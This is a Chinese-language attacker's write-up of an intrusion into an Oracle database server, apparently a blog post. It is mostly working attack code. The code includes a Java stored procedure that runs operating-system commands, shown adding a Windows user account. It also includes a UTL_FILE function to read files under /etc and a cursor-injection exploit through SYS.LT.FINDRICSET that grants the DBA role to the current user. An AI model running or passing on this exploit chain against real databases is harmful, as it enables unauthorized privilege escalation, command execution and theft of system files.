很快便连接上Oracle服务器,此时发现:
1.连接后不是dba权限
2.不能利用SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES漏洞提升权限
3.运行SELECT UTL_HTTP.request(‘http://xxxxxxxxxxx/login.jsp’) FROM dual 后发现oracle服务器不能连接网络。
幸运的是,
运行
create or replace function Linx_Query (p varchar2) return number authid current_user is begin execute immediate p; return 1;end;
成功!这个用户具有create proceduce权限。
此时马上想到创建java扩展执行命令:
create or replace and compile java source named “LinxUtil” as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str=”";while ((stemp = myReader.readLine()) != null) str +=stemp+” “;myReader.close();return str;} catch (Exception e){return e.toString();}}}
begin dbms_java.grant_permission(‘PUBLIC’, ‘SYS:java.io.FilePermission’, ‘<>’, ‘execute’ );end;
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ‘LinxUtil.runCMD(java.lang.String) return String’
select * from all_objects where object_name like ‘%LINX%’
grant all on LinxRunCMD to public
select LinxRunCMD(‘cmd /c net user linx /add’) from dual
但是在第一步就卡住了,服务器由于某种未知原因 不能创建java扩展!!
还好,我们还有UTL库可以利用:
create or replace function LinxUTLReadfile (filename varchar2) return varchar2 is
fHandler UTL_FILE.FILE_TYPE;
buf varchar2(4000);
output varchar2(8000);
BEGIN
fHandler := UTL_FILE.FOPEN(‘UTL_FILE_DIR’, filename, ‘r’);
loop
begin
utl_file.get_line(fHandler,buf);
DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||buf);
exception
when no_data_found then exit;
end;
output := output||buf||chr(10);
end loop;
UTL_FILE.FCLOSE(fHandler);
return output;
END;
UTL_FILE_DIR需要先用:
CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS ‘/etc’;
指定目。但运行后发现没有权限。只好想办法提权。
***************游标注射***************
老外写了N个pdf介绍这技术,我精简了代码:
DECLARE
MYC NUMBER;
BEGIN
MYC := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC,’declare pragma autonomous_transaction; begin execute immediate ”GRANT DBA TO linxlinx_current_db_user”;commit;end;’,0);
DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||MYC);
BEGIN SYS.LT.FINDRICSET(‘.”||dbms_sql.execute( ‘||MYC||’ )||””)–’,'x’); END;
raise NO_DATA_FOUND;
EXCEPTION
WHEN NO_DATA_FOUND THEN DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||MYC);
WHEN OTHERS THEN DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||MYC);
END;
运行后重新连接就有dba权限了,简单吧……
现在可以读取文件了:
CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS ‘/etc’;